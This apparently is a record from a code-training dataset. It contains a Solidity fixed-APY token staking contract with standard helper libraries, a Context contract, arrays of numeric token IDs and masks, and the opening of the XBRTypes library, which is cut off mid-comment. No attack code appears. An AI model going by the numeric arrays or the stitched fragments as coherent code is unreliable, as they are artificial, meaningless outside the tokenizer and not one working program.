internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, 'SafeERC20: decreased allowance below zero' ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract FixedAPYStaking is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. Tokens to distribute per block. uint256 lastRewardTimestamp; // Last block number that Tokens distribution occurs. uint256 accTokensPerShare; // Accumulated Tokens per share, times 1e12. See below. } IERC20 public immutable stakingToken; IERC20 public immutable rewardToken; mapping (address => uint256) public holderUnlockTime; uint256 public totalStaked; uint256 public apy; uint256 public lockDuration; uint256 public exitPenaltyPerc; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (address => UserInfo) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 private totalAllocPoint = 0; event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); constructor( ) { stakingToken = IERC20(0x4D21c6Bc6C899FEB2d3DC05B76B52aABF3217F1b); rewardToken = IERC20(0x4D21c6Bc6C899FEB2d3DC05B76B52aABF3217F1b); apy = 50; lockDuration = 7 days; exitPenaltyPerc = 20; // staking pool poolInfo.push(PoolInfo({ lpToken: stakingToken, allocPoint: 1000, lastRewardTimestamp: 99999999999, accTokensPerShare: 0 })); totalAllocPoint = 1000; } function stopReward() external onlyOwner { updatePool(0); apy = 0; } function startReward() external onlyOwner { require(poolInfo[0].lastRewardTimestamp == 99999999999, "Can only start rewards once"); poolInfo[0].lastRewardTimestamp = block.timestamp; } // View function to see pending Reward on frontend. function pendingReward(address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[_user]; if(pool.lastRewardTimestamp == 99999999999){ return 0; } uint256 accTokensPerShare = pool.accTokensPerShare; uint256 lpSupply = totalStaked; if (block.timestamp > pool.lastRewardTimestamp && lpSupply != 0) { uint256 tokenReward = calculateNewRewards().mul(pool.allocPoint).div(totalAllocPoint); accTokensPerShare = accTokensPerShare.add(tokenReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accTokensPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; if (block.timestamp <= pool.lastRewardTimestamp) { return; } uint256 lpSupply = totalStaked; if (lpSupply == 0) { pool.lastRewardTimestamp = block.timestamp; return; } uint256 tokenReward = calculateNewRewards().mul(pool.allocPoint).div(totalAllocPoint); pool.accTokensPerShare = pool.accTokensPerShare.add(tokenReward.mul(1e12).div(lpSupply)); pool.lastRewardTimestamp = block.timestamp; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public onlyOwner { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Stake primary tokens function deposit(uint256 _amount) public nonReentrant { if(holderUnlockTime[msg.sender] == 0){ holderUnlockTime[msg.sender] = block.timestamp + lockDuration; } PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accTokensPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { require(pending <= rewardsRemaining(), "Cannot withdraw other people's staked tokens. Contact an admin."); rewardToken.safeTransfer(address(msg.sender), pending); } } uint256 amountTransferred = 0; if(_amount > 0) { uint256 initialBalance = pool.lpToken.balanceOf(address(this)); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); amountTransferred = pool.lpToken.balanceOf(address(this)) - initialBalance; user.amount = user.amount.add(amountTransferred); totalStaked += amountTransferred; } user.rewardDebt = user.amount.mul(pool.accTokensPerShare).div(1e12); emit Deposit(msg.sender, _amount); } // Withdraw primary tokens from STAKING. function withdraw() public nonReentrant { require(holderUnlockTime[msg.sender] <= block.timestamp, "May not do normal withdraw early"); PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[msg.sender]; uint256 _amount = user.amount; updatePool(0); uint256 pending = user.amount.mul(pool.accTokensPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { require(pending <= rewardsRemaining(), "Cannot withdraw other people's staked tokens. Contact an admin."); rewardToken.safeTransfer(address(msg.sender), pending); } if(_amount > 0) { user.amount = 0; totalStaked -= _amount; pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accTokensPerShare).div(1e12); if(user.amount > 0){ holderUnlockTime[msg.sender] = block.timestamp + lockDuration; } else { holderUnlockTime[msg.sender] = 0; } emit Withdraw(msg.sender, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() external nonReentrant { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[msg.sender]; uint256 _amount = user.amount; totalStaked -= _amount; // exit penalty for early unstakers, penalty held on contract as rewards. if(holderUnlockTime[msg.sender] >= block.timestamp){ _amount -= _amount * exitPenaltyPerc / 100; } holderUnlockTime[msg.sender] = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); user.amount = 0; user.rewardDebt = 0; emit EmergencyWithdraw(msg.sender, _amount); } // Withdraw reward. EMERGENCY ONLY. This allows the owner to migrate rewards to a new staking pool since we are not minting new tokens. function emergencyRewardWithdraw(uint256 _amount) external onlyOwner { require(_amount <= rewardToken.balanceOf(address(this)) - totalStaked, 'not enough tokens to take out'); rewardToken.safeTransfer(address(msg.sender), _amount); } function calculateNewRewards() public view returns (uint256) { PoolInfo storage pool = poolInfo[0]; if(pool.lastRewardTimestamp > block.timestamp){ return 0; } return (((block.timestamp - pool.lastRewardTimestamp) * totalStaked) * apy / 100 / 365 days); } function rewardsRemaining() public view returns (uint256){ return rewardToken.balanceOf(address(this)) - totalStaked; } function updateApy(uint256 newApy) external onlyOwner { require(newApy <= 10000, "APY must be below 10000%"); updatePool(0); apy = newApy; } function updateLockDuration(uint256 newLockDurationInSeconds) external onlyOwner { require(newLockDurationInSeconds <= 30 days, "Lock must be lower than 30 days"); lockDuration = newLockDurationInSeconds; } function updateExitPenalty(uint256 newPenaltyPerc) external onlyOwner { require(newPenaltyPerc <= 20, "May not set higher than 20%"); exitPenaltyPerc = newPenaltyPerc; } }
@dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with GSN meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./ Empty internal constructor, to prevent people from mistakenly deploying an instance of this contract, which should be used via inheritance.
contract Context { constructor() {} function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { return msg.data; } }
1,507,686
[ 1, 17727, 1779, 2973, 326, 783, 4588, 819, 16, 6508, 326, 5793, 434, 326, 2492, 471, 2097, 501, 18, 21572, 4259, 854, 19190, 2319, 3970, 1234, 18, 15330, 471, 1234, 18, 892, 16, 2898, 1410, 486, 506, 15539, 316, 4123, 279, 2657, 21296, 16, 3241, 1347, 21964, 598, 611, 13653, 2191, 17, 20376, 326, 2236, 5431, 471, 8843, 310, 364, 4588, 2026, 486, 506, 326, 3214, 5793, 261, 345, 10247, 487, 392, 2521, 353, 356, 2750, 11748, 2934, 1220, 6835, 353, 1338, 1931, 364, 12110, 16, 5313, 17, 5625, 20092, 18, 19, 8953, 2713, 3885, 16, 358, 5309, 16951, 628, 27228, 7940, 715, 7286, 310, 392, 791, 434, 333, 6835, 16, 1492, 1410, 506, 1399, 3970, 16334, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1772, 288, 203, 203, 203, 203, 203, 565, 3885, 1435, 2618, 203, 565, 445, 389, 3576, 12021, 1435, 2713, 1476, 1135, 261, 2867, 8843, 429, 13, 288, 203, 3639, 327, 8843, 429, 12, 3576, 18, 15330, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 3576, 751, 1435, 2713, 1476, 1135, 261, 3890, 3778, 13, 288, 203, 3639, 327, 1234, 18, 892, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/////////////////////////////////////////////////////////////////////////////// // // Copyright (C) 2018-2020 Crossbar.io Technologies GmbH and contributors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // /////////////////////////////////////////////////////////////////////////////// pragma solidity ^0.5.12; pragma experimental ABIEncoderV2; /** * The `XBR Types <https://github.com/crossbario/xbr-protocol/blob/master/contracts/XBRTypes.sol>`__ * library collect XBR type definitions used throughout the other XBR contracts. */ library XBRTypes { /// All XBR network member levels defined. enum MemberLevel { NULL, ACTIVE, VERIFIED, RETIRED, PENALTY, BLOCKED } /// All XBR market actor types defined. enum ActorType { NULL, PROVIDER, CONSUMER, PROVIDER_CONSUMER } /// All XBR state channel types defined. enum ChannelType { NULL, PAYMENT, PAYING } /// All XBR state channel states defined. enum ChannelState { NULL, OPEN, CLOSING, CLOSED, FAILED } /// Container type for holding XBR network membership information. struct Member { /// Block number when the member was (initially) registered in the XBR network. uint256 registered; /// The IPFS Multihash of the XBR EULA being agreed to and stored as one /// ZIP file archive on IPFS. string eula; /// Optional public member profile. An IPFS Multihash of the member profile /// stored in IPFS. string profile; /// Current member level. MemberLevel level; /// If the transaction to join the XBR network as a new member was was pre-signed /// off-chain by the new member, this is the signature the user supplied. If the /// user on-boarded by directly interacting with the XBR contracts on-chain, this /// will be empty. bytes signature; } /// Container type for holding XBR market actor information. struct Actor { /// Block number when the actor has joined the respective market. uint256 joined; /// Security deposited by the actor when joining the market. uint256 security; /// Metadata attached to an actor in a market. string meta; /// This is the signature the user (actor) supplied for joining a market. bytes signature; /// All payment (paying) channels of the respective buyer (seller) actor. address[] channels; mapping(address => mapping(bytes16 => Consent)) delegates; } /// Container type for holding XBR market information. struct Market { /// Block number when the market was created. uint256 created; /// Market sequence number. uint32 seq; /// Market owner (aka "market operator"). address owner; /// The coin (ERC20 token) to be used in the market as the means of payment. address coin; /// Market terms (IPFS Multihash). string terms; /// Market metadata (IPFS Multihash). string meta; /// Market maker address. address maker; /// Security deposit required by data providers (sellers) to join the market. uint256 providerSecurity; /// Security deposit required by data consumers (buyers) to join the market. uint256 consumerSecurity; /// Market fee rate for the market operator. uint256 marketFee; /// This is the signature the user (market owner/operator) supplied for opening the market. bytes signature; /// Adresses of provider (seller) actors joined in the market. address[] providerActorAdrs; /// Adresses of consumer (buyer) actors joined in the market. address[] consumerActorAdrs; /// Provider (seller) actors joined in the market by actor address. mapping(address => Actor) providerActors; /// Consumer (buyer) actors joined in the market by actor address. mapping(address => Actor) consumerActors; /// Current payment channel by (buyer) delegate. mapping(address => address) currentPaymentChannelByDelegate; /// Current paying channel by (seller) delegate. mapping(address => address) currentPayingChannelByDelegate; } /// Container type for holding XBR data service API information. struct Api { /// Block number when the API was added to the respective catalog. uint256 published; /// Multihash of API Flatbuffers schema (required). string schema; /// Multihash of API meta-data (optional). string meta; /// This is the signature the user (actor) supplied when publishing the API. bytes signature; } /// Container type for holding XBR catalog information. struct Catalog { /// Block number when the catalog was created. uint256 created; /// Catalog sequence number. uint32 seq; /// Catalog owner (aka "catalog publisher"). address owner; /// Catalog terms (IPFS Multihash). string terms; /// Catalog metadata (IPFS Multihash). string meta; /// This is the signature the member supplied for creating the catalog. bytes signature; /// The APIs part of this catalog. mapping(bytes16 => Api) apis; } struct Consent { /// Block number when the catalog was created. uint256 updated; /// Consent granted or revoked. bool consent; /// The WAMP URI prefix to be used by the delegate in the data plane realm. string servicePrefix; /// This is the signature the user (actor) supplied when setting the consent status. bytes signature; } /// Container type for holding channel static information. /// /// NOTE: This struct has a companion struct `ChannelState` with all /// varying state. The split-up is necessary as the EVM limits stack-depth /// to 16, and we need more channel attributes than that. struct Channel { /// Block number when the channel was created. uint256 created; /// Channel sequence number. uint32 seq; /// Current payment channel type (either payment or paying channel). ChannelType ctype; /// The XBR Market ID this channel is operating payments (or payouts) for. bytes16 marketId; /// The off-chain market maker that operates this payment or paying channel. address marketmaker; /// The sender of the payments in this channel. Either a XBR consumer (for /// payment channels) or the XBR market maker (for paying channels). address actor; /// The delegate of the channel, e.g. the XBR consumer delegate in case /// of a payment channel or the XBR provider delegate in case of a paying /// channel that is allowed to consume or provide data with off-chain /// transactions and payments running under this channel. address delegate; /// Recipient of the payments in this channel. Either the XBR market operator /// (for payment channels) or a XBR provider (for paying channels). address recipient; /// Amount of tokens (denominated in the respective market token) held in /// this channel (initially deposited by the actor). uint256 amount; /// Timeout in blocks with which the channel will be closed definitely in /// a non-cooperative close. This is the grace period during which the channel /// will wait for participants to submit their last signed transaction. uint32 timeout; /// Signature supplied (by the actor) when opening the channel. bytes signature; } /// Container type for holding channel (closing) state information. struct ChannelClosingState { /// Current payment channel state. ChannelState state; /// Block timestamp when the channel was requested to close (before timeout). uint256 closingAt; /// When this channel is closing, the sequence number of the closing transaction. uint32 closingSeq; /// When this channel is closing, the off-chain closing balance of the closing transaction. uint256 closingBalance; /// Block timestamp when the channel was closed (finally, after the timeout). uint256 closedAt; /// When this channel has closed, the sequence number of the final accepted closing transaction. uint32 closedSeq; /// When this channel is closing, the closing balance of the final accepted closing transaction. uint256 closedBalance; /// Closing transaction signature by (buyer or seller) delegate supplied when requesting to close the channel. bytes delegateSignature; /// Closing transaction signature by market maker supplied when requesting to close the channel. bytes marketmakerSignature; } /// EIP712 type for XBR as a type domain. struct EIP712Domain { /// The type domain name, makes signatures from different domains incompatible. string name; /// The type domain version. string version; } /// EIP712 type for use in member registration. struct EIP712MemberRegister { /// Verifying chain ID, which binds the signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// Registered member address. address member; /// Block number when the member registered in the XBR network. uint256 registered; /// Multihash of EULA signed by the member when registering. string eula; /// Optional profile meta-data multihash. string profile; } /// EIP712 type for use in catalog creation. struct EIP712CatalogCreate { /// Verifying chain ID, which binds the signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// The member that created the catalog. address member; /// Block number when the member registered in the XBR network. uint256 created; /// The ID of the catalog created (a 16 bytes UUID which is globally unique to that market). bytes16 catalogId; /// Multihash for the terms applying to this catalog. string terms; /// Multihash for optional meta-data supplied for the catalog. string meta; } /// EIP712 type for use in publishing APIs to catalogs. struct EIP712ApiPublish { /// Verifying chain ID, which binds the signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// The XBR network member publishing the API. address member; /// Block number when the API was published to the catalog. uint256 published; /// The ID of the catalog the API is published to. bytes16 catalogId; /// The ID of the API published. bytes16 apiId; /// Multihash of API Flatbuffers schema (required). string schema; /// Multihash of API meta-data (optional). string meta; } /// EIP712 type for use in market creation. struct EIP712MarketCreate { /// Verifying chain ID, which binds the signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// The member that created the catalog. address member; /// Block number when the market was created. uint256 created; /// The ID of the market created (a 16 bytes UUID which is globally unique to that market). bytes16 marketId; /// Coin used as means of payment in market. Must be an ERC20 compatible token. address coin; /// Multihash for the market terms applying to this market. string terms; /// Multihash for optional market meta-data supplied for the market. string meta; /// The address of the market maker responsible for this market. The market /// maker of a market is the link between off-chain channels and on-chain channels, /// and operates the channels by processing transactions. address maker; // FIXME: enabling the following runs into stack-depth limit of 12! // => move to attributes (under "meta" multihash) /// Any mandatory security that actors that join this market as data providers (selling data /// as seller actors) must supply when joining this market. May be 0. // uint256 providerSecurity; /// Any mandatory security that actors that join this market as data consumer (buying data /// as buyer actors) must supply when joining this market. May be 0. // uint256 consumerSecurity; /// The market fee that applies in this market. May be 0. uint256 marketFee; } /// EIP712 type for use in joining markets. struct EIP712MarketJoin { /// Verifying chain ID, which binds the signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// The XBR network member joining the specified market as a market actor. address member; /// Block number when the member as joined the market, uint256 joined; /// The ID of the market joined. bytes16 marketId; /// The actor type as which to join, which can be "buyer" or "seller". uint8 actorType; /// Optional multihash for additional meta-data supplied /// for the actor joining the market. string meta; } /// EIP712 type for use in data consent tracking. struct EIP712Consent { /// Verifying chain ID, which binds the 